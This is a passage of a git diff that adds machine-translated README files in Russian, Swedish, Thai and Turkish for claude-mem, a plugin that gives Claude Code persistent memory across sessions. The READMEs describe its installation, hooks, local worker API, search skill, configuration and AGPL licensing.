является хуком жизненного цикла) +3. **Сервис Worker** - HTTP API на порту 37777 с веб-интерфейсом просмотра и 10 конечными точками поиска, управляемый Bun +4. **База данных SQLite** - Хранит сеансы, наблюдения, сводки +5. **Навык mem-search** - Запросы на естественном языке с прогрессивным раскрытием +6. **Векторная база данных Chroma** - Гибридный семантический + ключевой поиск для интеллектуального извлечения контекста + +Подробности см. в [Обзоре архитектуры](https://docs.claude-mem.ai/architecture/overview). + +--- + +## Навык mem-search + +Claude-Mem предоставляет интеллектуальный поиск через навык mem-search, который автоматически вызывается, когда вы спрашиваете о прошлой работе: + +**Как это работает:** +- Просто спросите естественно: *"Что мы делали в прошлом сеансе?"* или *"Мы исправляли этот баг раньше?"* +- Claude автоматически вызывает навык mem-search для поиска релевантного контекста + +**Доступные операции поиска:** + +1. **Поиск наблюдений** - Полнотекстовый поиск по наблюдениям +2. **Поиск сеансов** - Полнотекстовый поиск по сводкам сеансов +3. **Поиск запросов** - Поиск исходных пользовательских запросов +4. **По концепции** - Поиск по тегам концепций (discovery, problem-solution, pattern и т.д.) +5. **По файлу** - Поиск наблюдений, ссылающихся на конкретные файлы +6. **По типу** - Поиск по типу (decision, bugfix, feature, refactor, discovery, change) +7. **Недавний контекст** - Получение недавнего контекста сеанса для проекта +8. **Хронология** - Получение единой хронологии контекста вокруг определенного момента времени +9. **Хронология по запросу** - Поиск наблюдений и получение контекста хронологии вокруг наилучшего совпадения +10. **Справка по API** - Получение документации по API поиска + +**Примеры запросов на естественном языке:** + +``` +"Какие баги мы исправили в прошлом сеансе?" +"Как мы реализовали аутентификацию?" +"Какие изменения были внесены в worker-service.ts?" +"Покажи недавнюю работу над этим проектом" +"Что происходило, когда мы добавляли интерфейс просмотра?" +``` + +Подробные примеры см. в [Руководстве по инструментам поиска](https://docs.claude-mem.ai/usage/search-tools). + +--- + +## Бета-функции + +Claude-Mem предлагает **бета-канал** с экспериментальными функциями, такими как **режим Endless** (биомиметическая архитектура памяти для расширенных сеансов). Переключайтесь между стабильной и бета-версиями из веб-интерфейса на http://localhost:37777 → Settings. + +Подробности о режиме Endless и способах его опробовать см. в **[Документации по бета-функциям](https://docs.claude-mem.ai/beta-features)**. + +--- + +## Системные требования + +- **Node.js**: 18.0.0 или выше +- **Claude Code**: Последняя версия с поддержкой плагинов +- **Bun**: Среда выполнения JavaScript и менеджер процессов (автоматически устанавливается при отсутствии) +- **uv**: Менеджер пакетов Python для векторного поиска (автоматически устанавливается при отсутствии) +- **SQLite 3**: Для постоянного хранения (встроенный) + +--- + +## Конфигурация + +Настройки управляются в `~/.claude-mem/settings.json` (автоматически создается с настройками по умолчанию при первом запуске). Настройте AI-модель, порт worker, директорию данных, уровень логирования и параметры внедрения контекста. + +Все доступные настройки и примеры см. в **[Руководстве по конфигурации](https://docs.claude-mem.ai/configuration)**. + +--- + +## Разработка + +Инструкции по сборке, тестированию и процессу участия в разработке см. в **[Руководстве по разработке](https://docs.claude-mem.ai/development)**. + +--- + +## Устранение неполадок + +При возникновении проблем опишите проблему Claude, и навык устранения неполадок автоматически выполнит диагностику и предоставит исправления. + +Распространенные проблемы и решения см. в **[Руководстве по устранению неполадок](https://docs.claude-mem.ai/troubleshooting)**. + +--- + +## Отчеты об ошибках + +Создавайте подробные отчеты об ошибках с помощью автоматического генератора: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Участие в разработке + +Приветствуются вклады! Пожалуйста: + +1. Форкните репозиторий +2. Создайте ветку для функции +3. Внесите изменения с тестами +4. Обновите документацию +5. Отправьте Pull Request + +Процесс участия см. в [Руководстве по разработке](https://docs.claude-mem.ai/development). + +--- + +## Лицензия + +Этот проект лицензирован под **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Все права защищены. + +Полные сведения см. в файле [LICENSE](LICENSE). + +**Что это означает:** + +- Вы можете свободно использовать, модифицировать и распространять это программное обеспечение +- Если вы модифицируете и развертываете на сетевом сервере, вы должны сделать свой исходный код доступным +- Производные работы также должны быть лицензированы под AGPL-3.0 +- Для этого программного обеспечения НЕТ ГАРАНТИЙ + +**Примечание о Ragtime**: Директория `ragtime/` лицензирована отдельно под **PolyForm Noncommercial License 1.0.0**. Подробности см. в [ragtime/LICENSE](ragtime/LICENSE). + +--- + +## Поддержка + +- **Документация**: [docs/](docs/) +- **Проблемы**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Репозиторий**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Автор**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Создано с помощью Claude Agent SDK** | **Работает на Claude Code** | **Сделано на TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.sv.md b/docs/i18n/README.sv.md new file mode 100644 index 00000000..a2c9d52e --- /dev/null +++ b/docs/i18n/README.sv.md @@ -0,0 +1,302 @@ +🌐 Detta är en automatiserad översättning. Bidrag från gemenskapen är välkomna! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Persistent minneskomprimeringsystem byggt för Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Snabbstart • + Hur det fungerar • + Sökverktyg • + Dokumentation • + Konfiguration • + Felsökning • + Licens +

+ +

+ Claude-Mem bevarar sömlöst kontext mellan sessioner genom att automatiskt fånga observationer av verktygsanvändning, generera semantiska sammanfattningar och göra dem tillgängliga för framtida sessioner. Detta gör det möjligt för Claude att upprätthålla kontinuitet i kunskap om projekt även efter att sessioner avslutas eller återansluter. +

+ +--- + +## Snabbstart + +Starta en ny Claude Code-session i terminalen och ange följande kommandon: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Starta om Claude Code. Kontext från tidigare sessioner kommer automatiskt att visas i nya sessioner. + +**Nyckelfunktioner:** + +- 🧠 **Persistent minne** - Kontext överlever mellan sessioner +- 📊 **Progressiv visning** - Skiktad minneshämtning med synlighet för tokenkostnad +- 🔍 **Färdighetsbaserad sökning** - Sök i din projekthistorik med mem-search-färdigheten +- 🖥️ **Webbvy-gränssnitt** - Realtidsminnesström på http://localhost:37777 +- 💻 **Claude Desktop-färdighet** - Sök i minnet från Claude Desktop-konversationer +- 🔒 **Integritetskontroll** - Använd ``-taggar för att exkludera känsligt innehåll från lagring +- ⚙️ **Kontextkonfiguration** - Detaljerad kontroll över vilken kontext som injiceras +- 🤖 **Automatisk drift** - Ingen manuell hantering krävs +- 🔗 **Citeringar** - Referera till tidigare observationer med ID:n (tillgängliga via http://localhost:37777/api/observation/{id} eller visa alla i webbvyn på http://localhost:37777) +- 🧪 **Betakanal** - Testa experimentella funktioner som Endless Mode via versionsväxling + +--- + +## Dokumentation + +📚 **[Visa fullständig dokumentation](docs/)** - Bläddra bland markdown-dokument på GitHub + +### Komma igång + +- **[Installationsguide](https://docs.claude-mem.ai/installation)** - Snabbstart och avancerad installation +- **[Användarguide](https://docs.claude-mem.ai/usage/getting-started)** - Hur Claude-Mem fungerar automatiskt +- **[Sökverktyg](https://docs.claude-mem.ai/usage/search-tools)** - Sök i din projekthistorik med naturligt språk +- **[Betafunktioner](https://docs.claude-mem.ai/beta-features)** - Testa experimentella funktioner som Endless Mode + +### Bästa praxis + +- **[Context Engineering](https://docs.claude-mem.ai/context-engineering)** - Optimeringsmetoder för AI-agentkontext +- **[Progressiv visning](https://docs.claude-mem.ai/progressive-disclosure)** - Filosofin bakom Claude-Mems kontextpriming-strategi + +### Arkitektur + +- **[Översikt](https://docs.claude-mem.ai/architecture/overview)** - Systemkomponenter och dataflöde +- **[Arkitekturutveckling](https://docs.claude-mem.ai/architecture-evolution)** - Resan från v3 till v5 +- **[Hooks-arkitektur](https://docs.claude-mem.ai/hooks-architecture)** - Hur Claude-Mem använder livscykelkrokar +- **[Hooks-referens](https://docs.claude-mem.ai/architecture/hooks)** - 7 hook-skript förklarade +- **[Worker Service](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API och Bun-hantering +- **[Databas](https://docs.claude-mem.ai/architecture/database)** - SQLite-schema och FTS5-sökning +- **[Sökarkitektur](https://docs.claude-mem.ai/architecture/search-architecture)** - Hybridsökning med Chroma-vektordatabas + +### Konfiguration och utveckling + +- **[Konfiguration](https://docs.claude-mem.ai/configuration)** - Miljövariabler och inställningar +- **[Utveckling](https://docs.claude-mem.ai/development)** - Bygga, testa, bidra +- **[Felsökning](https://docs.claude-mem.ai/troubleshooting)** - Vanliga problem och lösningar + +--- + +## Hur det fungerar + +**Kärnkomponenter:** + +1. **5 livscykelkrokar** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook-skript) +2. **Smart installation** - Cachad beroendekontrollant (pre-hook-skript, inte en livscykelkrok) +3. **Worker Service** - HTTP API på port 37777 med webbvy-gränssnitt och 10 sökändpunkter, hanterat av Bun +4. **SQLite-databas** - Lagrar sessioner, observationer, sammanfattningar +5. **mem-search-färdighet** - Naturligspråkssökningar med progressiv visning +6. **Chroma-vektordatabas** - Hybrid semantisk + nyckelordssökning för intelligent kontexthämtning + +Se [Arkitekturöversikt](https://docs.claude-mem.ai/architecture/overview) för detaljer. + +--- + +## mem-search-färdighet + +Claude-Mem tillhandahåller intelligent sökning genom mem-search-färdigheten som automatiskt aktiveras när du frågar om tidigare arbete: + +**Hur det fungerar:** +- Fråga bara naturligt: *"Vad gjorde vi förra sessionen?"* eller *"Fixade vi den här buggen tidigare?"* +- Claude aktiverar automatiskt mem-search-färdigheten för att hitta relevant kontext + +**Tillgängliga sökoperationer:** + +1. **Search Observations** - Fulltextsökning över observationer +2. **Search Sessions** - Fulltextsökning över sessionssammanfattningar +3. **Search Prompts** - Sök i råa användarförfrågningar +4. **By Concept** - Hitta efter koncepttaggar (discovery, problem-solution, pattern, etc.) +5. **By File** - Hitta observationer som refererar till specifika filer +6. **By Type** - Hitta efter typ (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Hämta senaste sessionskontext för ett projekt +8. **Timeline** - Få en enhetlig tidslinje av kontext kring en specifik tidpunkt +9. **Timeline by Query** - Sök efter observationer och få tidslinjekontext kring bästa matchning +10. **API Help** - Få API-dokumentation för sökning + +**Exempel på naturligspråkssökningar:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +Se [Sökverktygsguide](https://docs.claude-mem.ai/usage/search-tools) för detaljerade exempel. + +--- + +## Betafunktioner + +Claude-Mem erbjuder en **betakanal** med experimentella funktioner som **Endless Mode** (biomimetisk minnesarkitektur för utökade sessioner). Växla mellan stabila och betaversioner från webbvy-gränssnittet på http://localhost:37777 → Settings. + +Se **[Dokumentation för betafunktioner](https://docs.claude-mem.ai/beta-features)** för detaljer om Endless Mode och hur du testar det. + +--- + +## Systemkrav + +- **Node.js**: 18.0.0 eller högre +- **Claude Code**: Senaste versionen med plugin-stöd +- **Bun**: JavaScript-runtime och processhanterare (installeras automatiskt om den saknas) +- **uv**: Python-pakethanterare för vektorsökning (installeras automatiskt om den saknas) +- **SQLite 3**: För persistent lagring (ingår) + +--- + +## Konfiguration + +Inställningar hanteras i `~/.claude-mem/settings.json` (skapas automatiskt med standardvärden vid första körning). Konfigurera AI-modell, worker-port, datakatalog, loggnivå och kontextinjektionsinställningar. + +Se **[Konfigurationsguide](https://docs.claude-mem.ai/configuration)** för alla tillgängliga inställningar och exempel. + +--- + +## Utveckling + +Se **[Utvecklingsguide](https://docs.claude-mem.ai/development)** för bygginstruktioner, testning och bidragsarbetsflöde. + +--- + +## Felsökning + +Om du upplever problem, beskriv problemet för Claude och felsökningsfärdigheten kommer automatiskt att diagnostisera och tillhandahålla lösningar. + +Se **[Felsökningsguide](https://docs.claude-mem.ai/troubleshooting)** för vanliga problem och lösningar. + +--- + +## Buggrapporter + +Skapa omfattande buggrapporter med den automatiserade generatorn: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Bidrag + +Bidrag är välkomna! Vänligen: + +1. Forka repositoryt +2. Skapa en feature-gren +3. Gör dina ändringar med tester +4. Uppdatera dokumentationen +5. Skicka in en Pull Request + +Se [Utvecklingsguide](https://docs.claude-mem.ai/development) för bidragsarbetsflöde. + +--- + +## Licens + +Detta projekt är licensierat under **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Alla rättigheter förbehållna. + +Se [LICENSE](LICENSE)-filen för fullständiga detaljer. + +**Vad detta betyder:** + +- Du kan använda, modifiera och distribuera denna programvara fritt +- Om du modifierar och distribuerar på en nätverksserver måste du göra din källkod tillgänglig +- Härledda verk måste också licensieras under AGPL-3.0 +- Det finns INGEN GARANTI för denna programvara + +**Notering om Ragtime**: Katalogen `ragtime/` är licensierad separat under **PolyForm Noncommercial License 1.0.0**. Se [ragtime/LICENSE](ragtime/LICENSE) för detaljer. + +--- + +## Support + +- **Dokumentation**: [docs/](docs/) +- **Problem**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repository**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Författare**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Byggd med Claude Agent SDK** | **Drivs av Claude Code** | **Skapad med TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.th.md b/docs/i18n/README.th.md new file mode 100644 index 00000000..fe6dddca --- /dev/null +++ b/docs/i18n/README.th.md @@ -0,0 +1,301 @@ +🌐 นี่คือการแปลอัตโนมัติ ยินดีต้อนรับการแก้ไขจากชุมชน! + +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

ระบบการบีบอัดหน่วยความจำถาวรที่สร้างขึ้นสำหรับ Claude Code

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ เริ่มต้นอย่างรวดเร็ว • + วิธีการทำงาน • + เครื่องมือค้นหา • + เอกสาร • + การกำหนดค่า • + การแก้ไขปัญหา • + ใบอนุญาต +

+ +

+ Claude-Mem รักษาบริบทข้ามเซสชันได้อย่างราบรื่นโดยการบันทึกผลการสังเกตจากการใช้เครื่องมือโดยอัตโนมัติ สร้างสรุปความหมาย และทำให้พร้อมใช้งานสำหรับเซสชันในอนาคต ทำให้ Claude สามารถรักษาความต่อเนื่องของความรู้เกี่ยวกับโปรเจกต์แม้หลังจากเซสชันสิ้นสุดหรือเชื่อมต่อใหม่ +

+ +--- + +## เริ่มต้นอย่างรวดเร็ว + +เริ่มเซสชัน Claude Code ใหม่ในเทอร์มินัลและป้อนคำสั่งต่อไปนี้: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +รีสตาร์ท Claude Code บริบทจากเซสชันก่อนหน้าจะปรากฏในเซสชันใหม่โดยอัตโนมัติ + +**คุณสมบัติหลัก:** + +- 🧠 **หน่วยความจำถาวร** - บริบทยังคงอยู่ข้ามเซสชัน +- 📊 **การเปิดเผยแบบก้าวหน้า** - การดึงหน่วยความจำแบบชั้นพร้อมการแสดงต้นทุนโทเค็น +- 🔍 **การค้นหาตามทักษะ** - สืบค้นประวัติโปรเจกต์ของคุณด้วยทักษะ mem-search +- 🖥️ **Web Viewer UI** - สตรีมหน่วยความจำแบบเรียลไทม์ที่ http://localhost:37777 +- 💻 **Claude Desktop Skill** - ค้นหาหน่วยความจำจากการสนทนา Claude Desktop +- 🔒 **การควบคุมความเป็นส่วนตัว** - ใช้แท็ก `` เพื่อยกเว้นเนื้อหาที่ละเอียดอ่อนจากการจัดเก็บ +- ⚙️ **การกำหนดค่าบริบท** - ควบคุมบริบทที่ถูกฉีดเข้ามาได้อย่างละเอียด +- 🤖 **การทำงานอัตโนมัติ** - ไม่ต้องแทรกแซงด้วยตนเอง +- 🔗 **การอ้างอิง** - อ้างอิงการสังเกตในอดีตด้วย ID (เข้าถึงผ่าน http://localhost:37777/api/observation/{id} หรือดูทั้งหมดใน web viewer ที่ http://localhost:37777) +- 🧪 **Beta Channel** - ลองคุณสมบัติทดลองเช่น Endless Mode ผ่านการสลับเวอร์ชัน + +--- + +## เอกสาร + +📚 **[ดูเอกสารฉบับเต็ม](docs/)** - เรียกดูเอกสาร markdown บน GitHub + +### เริ่มต้นใช้งาน + +- **[คู่มือการติดตั้ง](https://docs.claude-mem.ai/installation)** - เริ่มต้นอย่างรวดเร็วและการติดตั้งขั้นสูง +- **[คู่มือการใช้งาน](https://docs.claude-mem.ai/usage/getting-started)** - วิธีที่ Claude-Mem ทำงานโดยอัตโนมัติ +- **[เครื่องมือค้นหา](https://docs.claude-mem.ai/usage/search-tools)** - สืบค้นประวัติโปรเจกต์ของคุณด้วยภาษาธรรมชาติ +- **[คุณสมบัติ Beta](https://docs.claude-mem.ai/beta-features)** - ลองคุณสมบัติทดลองเช่น Endless Mode + +### แนวปฏิบัติที่ดี + +- **[Context Engineering](https://docs.claude-mem.ai/context-engineering)** - หลักการปรับบริบทสำหรับเอเจนต์ AI +- **[Progressive Disclosure](https://docs.claude-mem.ai/progressive-disclosure)** - ปรัชญาเบื้องหลังกลยุทธ์การเตรียมบริบทของ Claude-Mem + +### สถาปัตยกรรม + +- **[ภาพรวม](https://docs.claude-mem.ai/architecture/overview)** - ส่วนประกอบของระบบและการไหลของข้อมูล +- **[วิวัฒนาการของสถาปัตยกรรม](https://docs.claude-mem.ai/architecture-evolution)** - การเดินทางจาก v3 สู่ v5 +- **[สถาปัตยกรรม Hooks](https://docs.claude-mem.ai/hooks-architecture)** - วิธีที่ Claude-Mem ใช้ lifecycle hooks +- **[การอ้างอิง Hooks](https://docs.claude-mem.ai/architecture/hooks)** - อธิบาย hook scripts ทั้ง 7 ตัว +- **[Worker Service](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API และการจัดการ Bun +- **[ฐานข้อมูล](https://docs.claude-mem.ai/architecture/database)** - SQLite schema และการค้นหา FTS5 +- **[สถาปัตยกรรมการค้นหา](https://docs.claude-mem.ai/architecture/search-architecture)** - การค้นหาแบบไฮบริดด้วยฐานข้อมูลเวกเตอร์ Chroma + +### การกำหนดค่าและการพัฒนา + +- **[การกำหนดค่า](https://docs.claude-mem.ai/configuration)** - ตัวแปรสภาพแวดล้อมและการตั้งค่า +- **[การพัฒนา](https://docs.claude-mem.ai/development)** - การสร้าง การทดสอบ การมีส่วนร่วม +- **[การแก้ไขปัญหา](https://docs.claude-mem.ai/troubleshooting)** - ปัญหาและการแก้ไขทั่วไป + +--- + +## วิธีการทำงาน + +**ส่วนประกอบหลัก:** + +1. **5 Lifecycle Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook scripts) +2. **Smart Install** - ตัวตรวจสอบการพึ่งพาที่ถูกแคช (pre-hook script, ไม่ใช่ lifecycle hook) +3. **Worker Service** - HTTP API บนพอร์ต 37777 พร้อม web viewer UI และ 10 search endpoints, จัดการโดย Bun +4. **SQLite Database** - จัดเก็บเซสชัน การสังเกต สรุป +5. **mem-search Skill** - คิวรีภาษาธรรมชาติพร้อมการเปิดเผยแบบก้าวหน้า +6. **Chroma Vector Database** - การค้นหาแบบไฮบริดทางความหมาย + คีย์เวิร์ดสำหรับการดึงบริบทอัจฉริยะ + +ดู [ภาพรวมสถาปัตยกรรม](https://docs.claude-mem.ai/architecture/overview) สำหรับรายละเอียด + +--- + +## ทักษะ mem-search + +Claude-Mem ให้บริการการค้นหาอัจฉริยะผ่านทักษะ mem-search ที่เรียกใช้อัตโนมัติเมื่อคุณถามเกี่ยวกับงานที่ผ่านมา: + +**วิธีการทำงาน:** +- เพียงถามตามธรรมชาติ: *"เราทำอะไรในเซสชันที่แล้ว?"* หรือ *"เราแก้บั๊กนี้ไปแล้วหรือยัง?"* +- Claude เรียกใช้ทักษะ mem-search โดยอัตโนมัติเพื่อค้นหาบริบทที่เกี่ยวข้อง + +**การดำเนินการค้นหาที่มี:** + +1. **Search Observations** - การค้นหาข้อความเต็มข้ามการสังเกต +2. **Search Sessions** - การค้นหาข้อความเต็มข้ามสรุปเซสชัน +3. **Search Prompts** - ค้นหาคำขอผู้ใช้แบบดิบ +4. **By Concept** - ค้นหาตามแท็กแนวคิด (discovery, problem-solution, pattern, ฯลฯ) +5. **By File** - ค้นหาการสังเกตที่อ้างอิงไฟล์เฉพาะ +6. **By Type** - ค้นหาตามประเภท (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - รับบริบทเซสชันล่าสุดสำหรับโปรเจกต์ +8. **Timeline** - รับไทม์ไลน์รวมของบริบทรอบจุดเวลาเฉพาะ +9. **Timeline by Query** - ค้นหาการสังเกตและรับบริบทไทม์ไลน์รอบการจับคู่ที่ดีที่สุด +10. **API Help** - รับเอกสาร search API + +**ตัวอย่างคิวรีภาษาธรรมชาติ:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +ดู [คู่มือเครื่องมือค้นหา](https://docs.claude-mem.ai/usage/search-tools) สำหรับตัวอย่างโดยละเอียด + +--- + +## คุณสมบัติ Beta + +Claude-Mem นำเสนอ **beta channel** พร้อมคุณสมบัติทดลองเช่น **Endless Mode** (สถาปัตยกรรมหน่วยความจำแบบชีวมิติสำหรับเซสชันที่ขยายออกไป) สลับระหว่างเวอร์ชันเสถียรและเบต้าจาก web viewer UI ที่ http://localhost:37777 → Settings + +ดู **[เอกสารคุณสมบัติ Beta](https://docs.claude-mem.ai/beta-features)** สำหรับรายละเอียดเกี่ยวกับ Endless Mode และวิธีการลอง + +--- + +## ความต้องการของระบบ + +- **Node.js**: 18.0.0 หรือสูงกว่า +- **Claude Code**: เวอร์ชันล่าสุดพร้อมการสนับสนุนปลั๊กอิน +- **Bun**: JavaScript runtime และตัวจัดการกระบวนการ (ติดตั้งอัตโนมัติหากไม่มี) +- **uv**: ตัวจัดการแพ็คเกจ Python สำหรับการค้นหาเวกเตอร์ (ติดตั้งอัตโนมัติหากไม่มี) +- **SQLite 3**: สำหรับการจัดเก็บถาวร (รวมอยู่) + +--- + +## การกำหนดค่า + +การตั้งค่าจะถูกจัดการใน `~/.claude-mem/settings.json` (สร้างอัตโนมัติพร้อมค่าเริ่มต้นในการรันครั้งแรก) กำหนดค่าโมเดล AI พอร์ต worker ไดเรกทอรีข้อมูล ระดับ log และการตั้งค่าการฉีดบริบท + +ดู **[คู่มือการกำหนดค่า](https://docs.claude-mem.ai/configuration)** สำหรับการตั้งค่าทั้งหมดที่มีและตัวอย่าง + +--- + +## การพัฒนา + +ดู **[คู่มือการพัฒนา](https://docs.claude-mem.ai/development)** สำหรับคำแนะนำการสร้าง การทดสอบ และขั้นตอนการมีส่วนร่วม + +--- + +## การแก้ไขปัญหา + +หากพบปัญหา อธิบายปัญหาให้ Claude ฟังและทักษะ troubleshoot จะวินิจฉัยและให้การแก้ไขโดยอัตโนมัติ + +ดู **[คู่มือการแก้ไขปัญหา](https://docs.claude-mem.ai/troubleshooting)** สำหรับปัญหาและการแก้ไขทั่วไป + +--- + +## รายงานบั๊ก + +สร้างรายงานบั๊กที่ครอบคลุมด้วยตัวสร้างอัตโนมัติ: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## การมีส่วนร่วม + +ยินดีรับการมีส่วนร่วม! กรุณา: + +1. Fork repository +2. สร้าง feature branch +3. ทำการเปลี่ยนแปลงพร้อมการทดสอบ +4. อัปเดตเอกสาร +5. ส่ง Pull Request + +ดู [คู่มือการพัฒนา](https://docs.claude-mem.ai/development) สำหรับขั้นตอนการมีส่วนร่วม + +--- + +## ใบอนุญาต + +โปรเจกต์นี้ได้รับอนุญาตภายใต้ **GNU Affero General Public License v3.0** (AGPL-3.0) + +Copyright (C) 2025 Alex Newman (@thedotmack) สงวนลิขสิทธิ์ทั้งหมด + +ดูไฟล์ [LICENSE](LICENSE) สำหรับรายละเอียดทั้งหมด + +**ความหมาย:** + +- คุณสามารถใช้ ดัดแปลง และแจกจ่ายซอฟต์แวร์นี้ได้อย่างอิสระ +- หากคุณดัดแปลงและปรับใช้บนเซิร์ฟเวอร์เครือข่าย คุณต้องทำให้ซอร์สโค้ดของคุณพร้อมใช้งาน +- งานที่เป็นอนุพันธ์ต้องได้รับอนุญาตภายใต้ AGPL-3.0 ด้วย +- ไม่มีการรับประกันสำหรับซอฟต์แวร์นี้ + +**หมายเหตุเกี่ยวกับ Ragtime**: ไดเรกทอรี `ragtime/` ได้รับอนุญาตแยกต่างหากภายใต้ **PolyForm Noncommercial License 1.0.0** ดู [ragtime/LICENSE](ragtime/LICENSE) สำหรับรายละเอียด + +--- + +## การสนับสนุน + +- **เอกสาร**: [docs/](docs/) +- **ปัญหา**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repository**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **ผู้เขียน**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**สร้างด้วย Claude Agent SDK** | **ขับเคลื่อนโดย Claude Code** | **สร้างด้วย TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.tr.md b/docs/i18n/README.tr.md new file mode 100644 index 00000000..8860367d --- /dev/null +++ b/docs/i18n/README.tr.md @@ -0,0 +1,301 @@ +🌐 Bu otomatik bir çevirisidir. Topluluk düzeltmeleri memnuniyetle karşılanır! + +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Claude Code için geliştirilmiş kalıcı bellek sıkıştırma sistemi.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Hızlı Başlangıç • + Nasıl Çalışır • + Arama Araçları • + Dokümantasyon • + Yapılandırma • + Sorun Giderme • + Lisans +

+ +

+ Claude-Mem, araç kullanım gözlemlerini otomatik olarak yakalayarak, anlamsal özetler oluşturarak ve bunları gelecekteki oturumlarda kullanılabilir hale getirerek bağlamı oturumlar arası sorunsuzca korur. Bu, Claude'un oturumlar sona erse veya yeniden bağlansa bile projeler hakkındaki bilgi sürekliliğini korumasını sağlar. +

